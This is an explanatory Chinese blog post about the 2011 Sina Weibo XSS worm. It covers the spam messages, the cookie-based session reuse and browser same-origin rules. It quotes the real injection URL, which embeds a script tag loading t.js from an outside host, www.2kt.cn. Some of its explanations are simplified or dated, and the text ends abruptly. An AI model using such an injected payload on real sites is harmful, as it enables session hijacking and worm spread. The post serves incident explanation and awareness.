title: 245.新浪微博的XSS攻击 outline: deep

今天晚上(2011年6月28日),新浪微博出现了一次比较大的XSS攻击事件。大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等微博和私信,并自动关注一位名为hellosamy的用户。

事件的经过线索如下:

新浪微博XSS事件

新浪微博XSS事件

在这里,想和大家介绍一下XSS攻击,XSS攻击又叫跨站脚本式攻击,你Google一下可以搜到很多很多的文章。我在这里就简单地说一下。

首先,我们都知道网上很多网站都可以“记住你的用户名和密码”或是“自动登录”,其实是在你的本地设置了一个cookie,这种方式可以让你免去每次都输入用户名和口令的痛苦,但是也带来很大的问题。试想,如果某用户在“自动登录”的状态下,如果你运行了一个程序,这个程序访问“自动登录”这个网站上一些链接、提交一些表单,那么,也就意味着这些程序不需要输入用户名和口令的手动交互就可以和服务器上的程序通话。这就是XSS攻击的最基本思路。

再说一点,不一定是“记住你的用户名和密码”或是“自动登录”的方法,因为HTTP是无状态的协议,所以,几乎所有的网站都会在你的浏览器上设置cookie来记录状态,以便在其多个网页切换中检查你的登录状态。而现在的浏览器的运行方式是多页面或多窗口运行,也就是说,你在同一个父进程下开的多个页面或窗口里都可以无偿和共享使用你登录状态的。

当然,你不必过于担心访问别的网站,在别的网站里的js代码会自动访问你的微博或是网银。因为浏览器的安全性让js只能访问自己所在网站的资源(你可以引入其它网站的js)。当然,这是浏览器对js做的检查,所以,浏览器并不一定会做这个检查,这就是为什么IE6是史上最不安全的浏览器,没有之一。只要你没有在用IE6,应该没有这些问题。

XSS攻击有两种方法,

这次新浪微博事件是第一种,其利用了微博广场页面 http://weibo.com/pub/star 的一个URL注入了js脚本,其通过http://163.fm/PxZHoxn短链接服务,将链接指向:

http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update

注意,上面URL链接中的其实就是‹script src=//www.2kt.cn/images/t.js›‹/script›。

攻击者并不一定是2kt.cn的人,因为.cn被国家严格管制(大家不知道coolshell.cn 的备案备了不知有多少次),所以,我个人觉得这个人不会愚蠢到用自己域名来做攻击服务器。

其它